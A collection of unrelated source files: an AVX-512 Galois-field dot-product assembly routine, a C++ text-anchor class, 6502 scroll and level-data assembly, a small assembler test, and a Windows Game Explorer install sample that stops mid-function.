%define dest3 tmp4
%define pos return
%ifndef EC_ALIGNED_ADDR
;;; Use Un-aligned load/store
%define XLDR vmovdqu8
%define XSTR vmovdqu8
%else
;;; Use Non-temporal load/stor
%ifdef NO_NT_LDST
%define XLDR vmovdqa
%define XSTR vmovdqa
%else
%define XLDR vmovntdqa
%define XSTR vmovntdq
%endif
%endif
%define xmask0f zmm11
%define xgft1_lo zmm10
%define xgft1_loy ymm10
%define xgft1_hi zmm9
%define xgft2_lo zmm8
%define xgft2_loy ymm8
%define xgft2_hi zmm7
%define xgft3_lo zmm6
%define xgft3_loy ymm6
%define xgft3_hi zmm5
%define x0 zmm0
%define xtmpa zmm1
%define xp1 zmm2
%define xp2 zmm3
%define xp3 zmm4
default rel
[bits 64]
section .text
align 16
mk_global gf_3vect_dot_prod_avx512, function
func(gf_3vect_dot_prod_avx512)
FUNC_SAVE
sub len, 64
jl .return_fail
xor pos, pos
mov tmp, 0x0f
vpbroadcastb xmask0f, tmp ;Construct mask 0x0f0f0f...
sal vec, LOG_PS ;vec *= PS. Make vec_i count by PS
mov dest2, [dest1+PS]
mov dest3, [dest1+2*PS]
mov dest1, [dest1]
.loop64:
vpxorq xp1, xp1, xp1
vpxorq xp2, xp2, xp2
vpxorq xp3, xp3, xp3
mov tmp, mul_array
xor vec_i, vec_i
.next_vect:
mov ptr, [src+vec_i]
XLDR x0, [ptr+pos] ;Get next source vector
add vec_i, PS
vpandq xtmpa, x0, xmask0f ;Mask low src nibble in bits 4-0
vpsraw x0, x0, 4 ;Shift to put high nibble into bits 4-0
vpandq x0, x0, xmask0f ;Mask high src nibble in bits 4-0
vmovdqu8 xgft1_loy, [tmp] ;Load array Ax{00}..{0f}, Ax{00}..{f0}
vmovdqu8 xgft2_loy, [tmp+vec*(32/PS)] ;Load array Bx{00}..{0f}, Bx{00}..{f0}
vmovdqu8 xgft3_loy, [tmp+vec*(64/PS)] ;Load array Cx{00}..{0f}, Cx{00}..{f0}
add tmp, 32
vshufi64x2 xgft1_hi, xgft1_lo, xgft1_lo, 0x55
vshufi64x2 xgft1_lo, xgft1_lo, xgft1_lo, 0x00
vshufi64x2 xgft2_hi, xgft2_lo, xgft2_lo, 0x55
vshufi64x2 xgft2_lo, xgft2_lo, xgft2_lo, 0x00
vpshufb xgft1_hi, xgft1_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft1_lo, xgft1_lo, xtmpa ;Lookup mul table of low nibble
vpxorq xgft1_hi, xgft1_hi, xgft1_lo ;GF add high and low partials
vpxorq xp1, xp1, xgft1_hi ;xp1 += partial
vpshufb xgft2_hi, xgft2_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft2_lo, xgft2_lo, xtmpa ;Lookup mul table of low nibble
vpxorq xgft2_hi, xgft2_hi, xgft2_lo ;GF add high and low partials
vpxorq xp2, xp2, xgft2_hi ;xp2 += partial
vshufi64x2 xgft3_hi, xgft3_lo, xgft3_lo, 0x55
vshufi64x2 xgft3_lo, xgft3_lo, xgft3_lo, 0x00
vpshufb xgft3_hi, xgft3_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft3_lo, xgft3_lo, xtmpa ;Lookup mul table of low nibble
vpxorq xgft3_hi, xgft3_hi, xgft3_lo ;GF add high and low partials
vpxorq xp3, xp3, xgft3_hi ;xp3 += partial
cmp vec_i, vec
jl .next_vect
XSTR [dest1+pos], xp1
XSTR [dest2+pos], xp2
XSTR [dest3+pos], xp3
add pos, 64 ;Loop on 64 bytes at a time
cmp pos, len
jle .loop64
lea tmp, [len + 64]
cmp pos, tmp
je .return_pass
;; Tail len
mov pos, len ;Overlapped offset length-64
jmp .loop64 ;Do one more overlap pass
.return_pass:
mov return, 0
FUNC_RESTORE
ret
.return_fail:
mov return, 1
FUNC_RESTORE
ret
endproc_frame
%else
%ifidn __OUTPUT_FORMAT__, win64
global no_gf_3vect_dot_prod_avx512
no_gf_3vect_dot_prod_avx512:
%endif
%endif ; ifdef HAVE_AS_KNOWS_AVX512
|
lda #{c1}
tay
sta ({z1}),y
iny
lda #0
sta ({z1}),y
iny
sta ({z1}),y
iny
sta ({z1}),y
|
//
// anchoref.cpp
//
// CAnchorRef
//
#include "private.h"
#include "anchoref.h"
#include "anchor.h"
#include "acp2anch.h"
#include "globals.h"
#include "normal.h"
#include "memcache.h"
#include "ic.h"
#include "txtcache.h"
/* 9135f8f0-38e6-11d3-a745-0050040ab407 */
const IID IID_PRIV_CANCHORREF = { 0x9135f8f0, 0x38e6, 0x11d3, {0xa7, 0x45, 0x00, 0x50, 0x04, 0x0a, 0xb4, 0x07} };
DBG_ID_INSTANCE(CAnchorRef);
MEMCACHE *CAnchorRef::_s_pMemCache = NULL;
//+---------------------------------------------------------------------------
//
// _InitClass
//
//----------------------------------------------------------------------------
/* static */
void CAnchorRef::_InitClass()
{
_s_pMemCache = MemCache_New(128);
}
//+---------------------------------------------------------------------------
//
// _UninitClass
//
//----------------------------------------------------------------------------
/* static */
void CAnchorRef::_UninitClass()
{
if (_s_pMemCache == NULL)
return;
MemCache_Delete(_s_pMemCache);
_s_pMemCache = NULL;
}
//+---------------------------------------------------------------------------
//
// IUnknown
//
//----------------------------------------------------------------------------
STDAPI CAnchorRef::QueryInterface(REFIID riid, void **ppvObj)
{
if (&riid == &IID_PRIV_CANCHORREF ||
IsEqualIID(riid, IID_PRIV_CANCHORREF))
{
*ppvObj = SAFECAST(this, CAnchorRef *);
return S_OK; // No AddRef for IID_PRIV_CANCHORREF! this is a private IID....
}
*ppvObj = NULL;
if (IsEqualIID(riid, IID_IUnknown) ||
IsEqualIID(riid, IID_IAnchor))
{
*ppvObj = SAFECAST(this, IAnchor *);
}
if (*ppvObj)
{
AddRef();
return S_OK;
}
return E_NOINTERFACE;
}
STDAPI_(ULONG) CAnchorRef::AddRef()
{
return ++_cRef;
}
STDAPI_(ULONG) CAnchorRef::Release()
{
_cRef--;
Assert(_cRef >= 0);
if (_cRef == 0)
{
delete this;
return 0;
}
return _cRef;
}
//+---------------------------------------------------------------------------
//
// SetGravity
//
//----------------------------------------------------------------------------
STDAPI CAnchorRef::SetGravity(TsGravity gravity)
{
_fForwardGravity = (gravity == TS_GR_FORWARD ? 1 : 0);
return S_OK;
}
//+---------------------------------------------------------------------------
//
// GetGravity
//
//----------------------------------------------------------------------------
STDAPI CAnchorRef::GetGravity(TsGravity *pgravity)
{
if (pgravity == NULL)
return E_INVALIDARG;
*pgravity = _fForwardGravity ? TS_GR_FORWARD : TS_GR_BACKWARD;
return S_OK;
}
//+---------------------------------------------------------------------------
//
// IsEqual
//
//----------------------------------------------------------------------------
STDAPI CAnchorRef::IsEqual(IAnchor *paWith, BOOL *pfEqual)
{
LONG lResult;
HRESULT hr;
if (pfEqual == NULL)
return E_INVALIDARG;
*pfEqual = FALSE;
// in our implementation, Compare is no less efficient, so just use that
if ((hr = Compare(paWith, &lResult)) == S_OK)
{
*pfEqual = (lResult == 0);
}
return hr;
}
//+---------------------------------------------------------------------------
//
// Compare
//
//----------------------------------------------------------------------------
STDAPI CAnchorRef::Compare(IAnchor *paWith, LONG *plResult)
{
CAnchorRef *parWith;
LONG acpThis;
LONG acpWith;
CACPWrap *paw;
if (plResult == NULL)
return E_INVALIDARG;
//_paw->_Dbg_AssertNoAppLock(); // can't assert this because we use it legitimately while updating the span set
*plResult = 0;
if ((parWith = GetCAnchorRef_NA(paWith)) == NULL)
return E_FAIL;
// quick test for equality
// we still need to check for equality again below because of normalization
if (_pa == parWith->_pa)
{
Assert(*plResult == 0);
return S_OK;
}
acpThis = _pa->GetIch();
acpWith = parWith->_pa->GetIch();
paw = _pa->_GetWrap();
// we can't do a compare if either anchor is un-normalized
// except when the app holds the lock (in which case we're being called from
// a span set update which does not need to be normalized)
if (!paw->_InOnTextChange())
{
// we only actually have to normalize the anchor to the left
if (acpThis < acpWith)
{
if (!_pa->IsNormalized())
{
paw->_NormalizeAnchor(_pa);
acpThis = _pa->GetIch();
acpWith = parWith->_pa->GetIch();
}
}
else if (acpThis > acpWith)
{
if (!parWith->_pa->IsNormalized())
{
paw->_NormalizeAnchor(parWith->_pa);
acpThis = _pa->GetIch();
acpWith = parWith->_pa->GetIch();
}
}
}
if (acpThis < acpWith)
{
*plResult = -1;
}
else if (acpThis > acpWith)
{
*plResult = +1;
}
else
{
Assert(*plResult == 0);
}
return S_OK;
}
//+---------------------------------------------------------------------------
//
// Shift
//
//----------------------------------------------------------------------------
STDAPI CAnchorRef::Shift(DWORD dwFlags, LONG cchReq, LONG *pcch, IAnchor *paHaltAnchor)
{
CAnchorRef *parHaltAnchor;
CACPWrap *paw;
LONG acpHalt;
LONG acpThis;
LONG dacp;
HRESULT hr;
Perf_IncCounter(PERF_ANCHOR_SHIFT);
if (dwFlags & ~(TS_SHIFT_COUNT_HIDDEN | TS_SHIFT_HALT_HIDDEN | TS_SHIFT_HALT_VISIBLE | TS_SHIFT_COUNT_ONLY))
return E_INVALIDARG;
if ((dwFlags & (TS_SHIFT_HALT_HIDDEN | TS_SHIFT_HALT_VISIBLE)) == (TS_SHIFT_HALT_HIDDEN | TS_SHIFT_HALT_VISIBLE))
return E_INVALIDARG; // illegal to set both flags
if (dwFlags & (TS_SHIFT_COUNT_HIDDEN | TS_SHIFT_HALT_HIDDEN | TS_SHIFT_HALT_VISIBLE))
return E_NOTIMPL; // Issue: should support these
if (pcch == NULL)
return E_INVALIDARG;
paw = _pa->_GetWrap();
paw->_Dbg_AssertNoAppLock();
if (paw->_IsDisconnected())
{
*pcch = 0;
return TF_E_DISCONNECTED;
}
*pcch = cchReq; // assume success
if (cchReq == 0)
return S_OK;
acpThis = _pa->GetIch();
hr = E_FAIL;
if (paHaltAnchor != NULL)
{
if ((parHaltAnchor = GetCAnchorRef_NA(paHaltAnchor)) == NULL)
goto Exit;
acpHalt = parHaltAnchor->_pa->GetIch();
// return now if the halt is our base acp
// (we treat acpHalt == acpThis as a nop below, anything
// more ticky has problems with over/underflow)
if (acpHalt == acpThis)
{
*pcch = 0;
return S_OK;
}
}
else
{
// nop the acpHalt
acpHalt = acpThis;
}
// we can initially bound cchReq by pretending acpHalt
// is plain text, an upper bound
if (cchReq < 0 && acpHalt < acpThis)
{
cchReq = max(cchReq, acpHalt - acpThis);
}
else if (cchReq > 0 && acpHalt > acpThis)
{
cchReq = min(cchReq, acpHalt - acpThis);
}
// do the expensive work
if (FAILED(hr = AppTextOffset(paw->_GetTSI(), acpThis, cchReq, &dacp, ATO_SKIP_HIDDEN)))
goto Exit;
// now we can clip percisely
if (cchReq < 0 && acpHalt < acpThis)
{
dacp = max(dacp, acpHalt - acpThis);
hr = S_FALSE;
}
else if (cchReq > 0 && acpHalt > acpThis)
{
dacp = min(dacp, acpHalt - acpThis);
hr = S_FALSE;
}
if (hr == S_FALSE)
{
// nb: if we remembered whether or not we actually truncated cchReq above
// before and/or after the AppTextOffset call, we could avoid always calling
// PlainTextOffset when paHaltAnchor != NULL
// request got clipped, need to find the plain count
PlainTextOffset(paw->_GetTSI(), acpThis, dacp, pcch); // perf: we could get this info by modifying AppTextOffset
}
if (!(dwFlags & TS_SHIFT_COUNT_ONLY))
{
hr = _SetACP(acpThis + dacp) ? S_OK : E_FAIL;
}
else
{
// caller doesn't want the anchor updated, just wants a count
hr = S_OK;
}
Exit:
if (FAILED(hr))
{
*pcch = 0;
}
// return value should never exceed what the caller requested!
Assert((cchReq >= 0 && *pcch <= cchReq) || (cchReq < 0 && *pcch >= cchReq));
return hr;
}
//+---------------------------------------------------------------------------
//
// ShiftTo
//
//----------------------------------------------------------------------------
STDAPI CAnchorRef::ShiftTo(IAnchor *paSite)
{
CAnchorRef *parSite;
LONG acpSite;
if (paSite == NULL)
return E_INVALIDARG;
//_paw->_Dbg_AssertNoAppLock(); // can't assert this because we use it legitimately while updating the span set
if ((parSite = GetCAnchorRef_NA(paSite)) == NULL)
return E_FAIL;
acpSite = parSite->_pa->GetIch();
return _SetACP(acpSite) ? S_OK : E_FAIL;
}
//+---------------------------------------------------------------------------
//
// ShiftRegion
//
//----------------------------------------------------------------------------
STDAPI CAnchorRef::ShiftRegion(DWORD dwFlags, TsShiftDir dir, BOOL *pfNoRegion)
{
LONG acp;
ULONG cch;
LONG i;
ULONG ulRunInfoOut;
LONG acpNext;
ITextStoreACP *ptsi;
CACPWrap *paw;
WCHAR ch;
DWORD dwATO;
Perf_IncCounter(PERF_SHIFTREG_COUNTER);
if (pfNoRegion == NULL)
return E_INVALIDARG;
*pfNoRegion = TRUE;
if (dwFlags & ~(TS_SHIFT_COUNT_HIDDEN | TS_SHIFT_COUNT_ONLY))
return E_INVALIDARG;
paw = _pa->_GetWrap();
if (paw->_IsDisconnected())
return TF_E_DISCONNECTED;
acp = _GetACP();
ptsi = paw->_GetTSI();
if (dir == TS_SD_BACKWARD)
{
// scan backwards for the preceding char
dwATO = ATO_IGNORE_REGIONS | ((dwFlags & TS_SHIFT_COUNT_HIDDEN) ? 0 : ATO_SKIP_HIDDEN);
if (FAILED(AppTextOffset(ptsi, acp, -1, &i, dwATO)))
return E_FAIL;
if (i == 0) // bod
return S_OK;
acp += i;
}
else
{
// normalize this guy so we can just test the next char
if (!_pa->IsNormalized())
{
paw->_NormalizeAnchor(_pa);
acp = _GetACP();
}
// skip past any hidden text
if (!(dwFlags & TS_SHIFT_COUNT_HIDDEN))
{
acp = Normalize(paw->_GetTSI(), acp, NORM_SKIP_HIDDEN);
}
}
// insure we're next to a TS_CHAR_REGION
Perf_IncCounter(PERF_ANCHOR_REGION_GETTEXT);
if (CProcessTextCache::GetText(ptsi, acp, -1, &ch, 1, &cch, NULL, 0, &ulRunInfoOut, &acpNext) != S_OK)
return E_FAIL;
if (cch == 0) // eod
return S_OK;
if (ch != TS_CHAR_REGION)
return S_OK; // no region, so just report that in pfNoRegion
if (!(dwFlags & TS_SHIFT_COUNT_ONLY)) // does caller want us to move the anchor?
{
if (dir == TS_SD_FORWARD)
{
// skip over the TS_CHAR_REGION
acp += 1;
}
if (!_SetACP(acp))
return E_FAIL;
}
*pfNoRegion = FALSE;
return S_OK;
}
//+---------------------------------------------------------------------------
//
// SetChangeHistoryMask
//
//----------------------------------------------------------------------------
STDAPI CAnchorRef::SetChangeHistoryMask(DWORD dwMask)
{
Assert(0); // Issue: todo
return E_NOTIMPL;
}
//+---------------------------------------------------------------------------
//
// GetChangeHistory
//
//----------------------------------------------------------------------------
STDAPI CAnchorRef::GetChangeHistory(DWORD *pdwHistory)
{
if (pdwHistory == NULL)
return E_INVALIDARG;
*pdwHistory = _dwHistory;
return S_OK;
}
//+---------------------------------------------------------------------------
//
// ClearChangeHistory
//
//----------------------------------------------------------------------------
STDAPI CAnchorRef::ClearChangeHistory()
{
_dwHistory = 0;
return S_OK;
}
//+---------------------------------------------------------------------------
//
// Clone
//
//----------------------------------------------------------------------------
STDAPI CAnchorRef::Clone(IAnchor **ppaClone)
{
if (ppaClone == NULL)
return E_INVALIDARG;
*ppaClone = _pa->_GetWrap()->_CreateAnchorAnchor(_pa, _fForwardGravity ? TS_GR_FORWARD : TS_GR_BACKWARD);
return (*ppaClone != NULL) ? S_OK : E_FAIL;
}
//+---------------------------------------------------------------------------
//
// _SetACP
//
//----------------------------------------------------------------------------
BOOL CAnchorRef::_SetACP(LONG acp)
{
CACPWrap *paw;
if (_pa->GetIch() == acp)
return TRUE; // already positioned here
paw = _pa->_GetWrap();
paw->_Remove(this);
if (FAILED(paw->_Insert(this, acp)))
{
// Issue:
// we need to add a method the CACPWrap
// that swaps a CAnchorRef, preserving the old
// value if a new one cannot be inserted (prob.
// because memory is low).
Assert(0); // we have no code to handle this!
return FALSE;
}
return TRUE;
}
|
; /*****************************************************************************
; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers *
; *****************************************************************************
; * Copyright 2021-2022 Marco Spedaletti (asimov@mclink.it)
; *
; * Licensed under the Apache License, Version 2.0 (the "License");
; * you may not use this file except in compliance with the License.
; * You may obtain a copy of the License at
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Unless required by applicable law or agreed to in writing, software
; * distributed under the License is distributed on an "AS IS" BASIS,
; * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
; * See the License for the specific language governing permissions and
; * limitations under the License.
; *----------------------------------------------------------------------------
; * Concesso in licenza secondo i termini della Licenza Apache, versione 2.0
; * (la "Licenza"); è proibito usare questo file se non in conformità alla
; * Licenza. Una copia della Licenza è disponibile all'indirizzo:
; *
; * http://www.apache.org/licenses/LICENSE-2.0
; *
; * Se non richiesto dalla legislazione vigente o concordato per iscritto,
; * il software distribuito nei termini della Licenza è distribuito
; * "COSì COM'è", SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o
; * implicite. Consultare la Licenza per il testo specifico che regola le
; * autorizzazioni e le limitazioni previste dalla medesima.
; ****************************************************************************/
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
;* *
;* VERTICAL SCROLL ON VIC-II *
;* *
;* by Marco Spedaletti *
;* *
;* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
VSCROLLTUP:
TXA
PHA
TYA
PHA
LDA TEXTADDRESS
STA COPYOFTEXTADDRESS
LDA TEXTADDRESS+1
STA COPYOFTEXTADDRESS+1
CLC
LDA TEXTADDRESS
ADC #40
STA COPYOFTEXTADDRESS2
LDA TEXTADDRESS+1
ADC #0
STA COPYOFTEXTADDRESS2+1
LDX #3
LDY #0
VSCROLLTUPYSCR:
LDA (COPYOFTEXTADDRESS2),Y
STA (COPYOFTEXTADDRESS),Y
INY
BNE VSCROLLTUPYSCR
INC COPYOFTEXTADDRESS+1
INC COPYOFTEXTADDRESS2+1
CPX #1
BNE VSCROLLTUPYSCRNXT
VSCROLLTUPYSCR2:
LDA (COPYOFTEXTADDRESS2),Y
STA (COPYOFTEXTADDRESS),Y
INY
CPY #192
BNE VSCROLLTUPYSCR2
VSCROLLTUPYSCRNXT:
DEX
BNE VSCROLLTUPYSCR
LDY #192
VSCROLLTUPREFILL:
LDA #32
STA (COPYOFTEXTADDRESS),Y
INY
CPY #232
BNE VSCROLLTUPREFILL
VSCROLLTUEND:
LDA COLORMAPADDRESS
STA COPYOFTEXTADDRESS
LDA COLORMAPADDRESS+1
STA COPYOFTEXTADDRESS+1
CLC
LDA COLORMAPADDRESS
ADC #40
STA COPYOFTEXTADDRESS2
LDA COLORMAPADDRESS+1
ADC #0
STA COPYOFTEXTADDRESS2+1
LDX #3
LDY #0
VSCROLLTCUPYSCR:
LDA (COPYOFTEXTADDRESS2),Y
STA (COPYOFTEXTADDRESS),Y
INY
BNE VSCROLLTCUPYSCR
INC COPYOFTEXTADDRESS+1
INC COPYOFTEXTADDRESS2+1
CPX #1
BNE VSCROLLTCUPYSCRNXT
VSCROLLTCUPYSCR2:
LDA (COPYOFTEXTADDRESS2),Y
STA (COPYOFTEXTADDRESS),Y
INY
CPY #192
BNE VSCROLLTCUPYSCR2
VSCROLLTCUPYSCRNXT:
DEX
BNE VSCROLLTCUPYSCR
LDY #192
VSCROLLTCUPREFILL:
LDA #32
STA (COPYOFTEXTADDRESS),Y
INY
CPY #232
BNE VSCROLLTCUPREFILL
VSCROLLTCUEND:
PLA
TAY
PLA
TAX
RTS |
# $Id: 01_lc_r0.asm,v 1.2 2001/03/22 00:39:02 ellard Exp $
#
# Copyright 1999-2000 by the President and Fellows of Harvard College.
# See LICENSE.txt for license information.
#
#@ tests lc for r0
# OK
lc r0, 1
hlt
|
; Original address was $BA02
; Airship boss room
.word $0000 ; Alternate level layout
.word $0000 ; Alternate object layout
.byte LEVEL1_SIZE_01 | LEVEL1_YSTART_070
.byte LEVEL2_BGPAL_05 | LEVEL2_OBJPAL_09 | LEVEL2_XSTART_18
.byte LEVEL3_TILESET_10 | LEVEL3_VSCROLL_LOCKED | LEVEL3_PIPENOTEXIT
.byte LEVEL4_BGBANK_INDEX(10) | LEVEL4_INITACT_NOTHING
.byte LEVEL5_BGM_BOSS | LEVEL5_TIME_300
.byte $00, $00, $0F, $03, $01, $E4, $06, $03, $E0, $04, $04, $E1, $06, $06, $F0, $05
.byte $07, $F1, $06, $0A, $E1, $05, $0C, $E1, $02, $0D, $E5, $63, $02, $10, $66, $04
.byte $10, $64, $05, $10, $66, $0B, $10, $65, $0D, $10, $62, $0E, $10, $66, $0E, $10
.byte $00, $00, $4B, $00, $0F, $4B, $0A, $01, $5D, $09, $04, $62, $09, $06, $42, $FF
|
//-----------------------------------------------------------------------------
// File: GDFInstall.cpp
//
// Desc: Windows code that calls GameuxInstallHelper sample dll and displays the results.
// The Microsoft Platform SDK or Microsoft Windows SDK is required to compile this sample
//
// (C) Copyright Microsoft Corp. All rights reserved.
//-----------------------------------------------------------------------------
#define _WIN32_DCOM
#define _CRT_SECURE_NO_DEPRECATE
#include <rpcsal.h>
#include <gameux.h>
#include "GameuxInstallHelper.h"
#include <strsafe.h>
#include <shlobj.h>
#include <wbemidl.h>
#include <objbase.h>
#define NO_SHLWAPI_STRFCNS
#include <shlwapi.h>
#ifndef SAFE_DELETE
#define SAFE_DELETE(p) { if(p) { delete (p); (p)=NULL; } }
#endif
#ifndef SAFE_DELETE_ARRAY
#define SAFE_DELETE_ARRAY(p) { if(p) { delete[] (p); (p)=NULL; } }
#endif
#ifndef SAFE_RELEASE
#define SAFE_RELEASE(p) { if(p) { (p)->Release(); (p)=NULL; } }
#endif
struct SETTINGS
{
WCHAR strInstallPath[MAX_PATH];
WCHAR strGDFBinPath[MAX_PATH];
bool bEnumMode;
bool bUninstall;
bool bAllUsers;
bool bSilent;
};
HRESULT EnumAndRemoveGames();
bool ParseCommandLine( SETTINGS* pSettings );
bool IsNextArg( WCHAR*& strCmdLine, WCHAR* strArg );
void DisplayUsage();
//-----------------------------------------------------------------------------
// Name: WinMain()
// Desc: Entry point to the program. Initializes everything, and pops
// up a message box with the results of the GameuxInstallHelper calls
//-----------------------------------------------------------------------------
int PASCAL WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR strCmdLine, int nCmdShow )
{
GUID guid = GUID_NULL;
HRESULT hr;
WCHAR szMsg[512];
bool bFailure = false;
SETTINGS settings;
memset( &settings, 0, sizeof( SETTINGS ) );
// Set defaults
WCHAR strSysDir[MAX_PATH];
GetSystemDirectory( strSysDir, MAX_PATH );
GetCurrentDirectory( MAX_PATH, settings.strInstallPath );
PathCombine( settings.strGDFBinPath, settings.strInstallPath, L"GDFExampleBinary.dll");
if( !ParseCommandLine( &settings ) )
{
return 0;
}
if( settings.bEnumMode )
{
EnumAndRemoveGames();
return 0;
}
if( !IsUserAnAdmin() && settings.bAllUsers && !settings.bSilent )
{
MessageBox( NULL,
L"Warning: GDFInstall.exe does not have administrator privileges. Installing for all users will fail.\n\n"
L"To correct, right click on GDFInstall.exe and run it as an administrator.", L"GDFInstall",
MB_OK );
}
if( !settings.bUninstall )
{
// Installing
GAME_INSTALL_SCOPE installScope = ( settings.bAllUsers ) ? GIS_ALL_USERS : GIS_CURRENT_USER;
// Upon install do this
// Change the paths in this call to be correct
hr = GameExplorerInstall( settings.strGDFBinPath, settings.strInstallPath, installScope );
if( FAILED( hr ) )
{
StringCchPrintf( szMsg, 512, L"Adding game failed: 0x%0.8x\nGDF binary: %s\nGDF Install path: %s\nAll users: %d\n\nNote: This will fail if the game has already been added. Make sure the game is removed first.",
hr, settings.strGDFBinPath, settings.strInstallPath, settings.bAllUsers );
if( !settings.bSilent )
MessageBox( NULL, szMsg, TEXT( "GameExplorerInstall" ), MB_OK | MB_ICONINFORMATION );
bFailure = true;
}
else
{
StringCchPrintf( szMsg, 512, L"GDF binary: %s\nGDF Install path: %s\nAll users: %d\n\n",
settings.strGDFBinPath, settings.strInstallPath, settings.bAllUsers );
StringCchCat( szMsg, 512, L"Adding GDF binary succeeded\n" );
StringCchCat( szMsg, 512, L"\nGDFInstall.exe /? for a list of options" );
if( !settings.bSilent )
MessageBox( NULL, szMsg, TEXT( "GameExplorerInstall" ), MB_OK | MB_ICONINFORMATION );
}
}
else
{
// Uninstalling
hr = GameExplorerUninstall( settings.strGDFBinPath );
if( FAILED( hr ) )
{
StringCchPrintf( szMsg, 256, L"Removing game failed: 0x%0.8x", hr );
if( !settings.bSilent )
MessageBox( NULL, szMsg, TEXT( "GameExplorerUninstall" ), MB_OK | MB_ICONINFORMATION );
bFailure = true;
}
else
{
StringCchPrintf( szMsg, 256, L"Uninstall of '%s' succeeded\n", settings.strGDFBinPath );
if( !settings.bSilent )
MessageBox( NULL, szMsg, TEXT( "GameExplorerUninstall" ), MB_OK | MB_ICONINFORMATION );
}
}
return 0;
}
//-----------------------------------------------------------------------------
// Converts a string to a GUID
//-----------------------------------------------------------------------------
BOOL ConvertStringToGUID( const WCHAR* strIn, GUID* pGuidOut )
{
UINT aiTmp[10];
if( swscanf( strIn, L"{%8X-%4X-%4X-%2X%2X-%2X%2X%2X%2X%2X%2X}",
&pGuidOut->Data1,
&aiTmp[0], &aiTmp[1],
&aiTmp[2], &aiTmp[3],
&aiTmp[4], &aiTmp[5],
&aiTmp[6], &aiTmp[7],
&aiTmp[8], &aiTmp[9] ) != 11 )
{
ZeroMemory( pGuidOut, sizeof( GUID ) );
return FALSE;
}
else
{
pGuidOut->Data2 = ( USHORT )aiTmp[0];
pGuidOut->Data3 = ( USHORT )aiTmp[1];
pGuidOut->Data4[0] = ( BYTE )aiTmp[2];
pGuidOut->Data4[1] = ( BYTE )aiTmp[3];
pGuidOut->Data4[2] = ( BYTE )aiTmp[4];
pGuidOut->Data4[3] = ( BYTE )aiTmp[5];
pGuidOut->Data4[4] = ( BYTE )aiTmp[6];
pGuidOut->Data4[5] = ( BYTE )aiTmp[7];
pGuidOut->Data4[6] = ( BYTE )aiTmp[8];
pGuidOut->Data4[7] = ( BYTE )aiTmp[9];
return TRUE;
}
}
//-----------------------------------------------------------------------------
HRESULT EnumAndRemoveGames()
{
IWbemLocator* pIWbemLocator = NULL;
IWbemServices* pIWbemServices = NULL;
BSTR pNamespace = NULL;
IEnumWbemClassObject* pEnum = NULL;
GUID guid;
WCHAR strGameName[256];
WCHAR strGameGUID[256];
WCHAR strGDFBinaryPath[256];
HRESULT hr = CoInitializeEx(0, COINIT_MULTITHREADED);
if (SUCCEEDED(hr))
{
hr = CoCreateInstance( __uuidof( WbemLocator ), NULL, CLSCTX_INPROC_SERVER,
__uuidof( IWbemLocator ), ( LPVOID* )&pIWbemLocator );
if( SUCCEEDED( hr ) && pIWbemLocator )
{
// Using the locator, connect to WMI in the given namespace.
pNamespace = SysAllocString( L"\\\\.\\root\\cimv2\\Applications\\Games" );
hr = pIWbemLocator->ConnectServer( pNamespace, NULL, NULL, 0L,
0L, NULL, NULL, &pIWbemServices );
if( SUCCEEDED( hr ) && pIWbemServices != NULL )
{
// Switch security level to IMPERSONATE.
CoSetProxyBlanket( pIWbemServices, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL,
RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0 );
BSTR bstrQueryType = SysAllocString( L"WQL" );
WCHAR szQuery[1024];
StringCchCopy( szQuery, 1024, L"SELECT * FROM GAME" );
BSTR bstrQuery = SysAllocString( szQuery );
hr = pIWbemServices->ExecQuery( bstrQueryType, bstrQuery,
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
NULL, &pEnum );
if( SUCCEEDED( hr ) )
{
IWbemClassObject* pGameClass = NULL;
DWORD uReturned = 0;
BSTR pPropName = NULL;
// Get the first one in the list
for(; ; )
{
hr = pEnum->Next( 5000, 1, &pGameClass, &uReturned );
if( SUCCEEDED( hr ) && uReturned != 0 && pGameClass != NULL )
{
VARIANT var;
// Get the InstanceID string
pPropName = SysAllocString( L"InstanceID" );
hr = pGameClass->Get( pPropName, 0L, &var, NULL, NULL );
if( SUCCEEDED( hr ) && var.vt == VT_BSTR )
{
StringCchCopy( strGameGUID, 256, var.bstrVal );
ConvertStringToGUID( var.bstrVal, &guid );
}
if( pPropName ) SysFreeString( pPropName );
// Get the InstanceID string
pPropName = SysAllocString( L"Name" );
hr = pGameClass->Get( pPropName, 0L, &var, NULL, NULL );
if( SUCCEEDED( hr ) && var.vt == VT_BSTR )
{
StringCchCopy( strGameName, 256, var.bstrVal );
}
if( pPropName ) SysFreeString( pPropName );
// Get the InstanceID string
pPropName = SysAllocString( L"GDFBinaryPath" );
hr = pGameClass->Get( pPropName, 0L, &var, NULL, NULL );
if( SUCCEEDED( hr ) && var.vt == VT_BSTR )
{
StringCchCopy( strGDFBinaryPath, 256, var.bstrVal );
}
if( pPropName ) SysFreeString( pPropName );
WCHAR szMsg[256];
StringCchPrintf( szMsg, 256, L"Remove %s [%s] [%s]?", strGameName, strGDFBinaryPath,
strGameGUID );
if( IDYES == MessageBox( NULL, szMsg, L"GDFInstall", MB_YESNO ) )
{
GameExplorerUninstall( strGDFBinaryPath );
}
SAFE_RELEASE( pGameClass );
}
else
{
break;
}
}
}
SAFE_RELEASE( pEnum );
}
if( pNamespace ) SysFreeString( pNamespace );
SAFE_RELEASE( pIWbemServices );
}
SAFE_RELEASE( pIWbemLocator );
CoUninitialize();
}
return S_OK;
}
//--------------------------------------------------------------------------------------
// Parses the command line for parameters. See DXUTInit() for list
//--------------------------------------------------------------------------------------
bool ParseCommandLine( SETTINGS* pSettings )
{
WCHAR* strCmdLine;
WCHAR* strArg;
int nNumArgs;
LPWSTR* pstrArgList = CommandLineToArgvW( GetCommandLine(), &nNumArgs );
for( int iArg = 1; iArg < nNumArgs; iArg++ )
{
strCmdLine = pstrArgList[iArg];
// Handle flag args
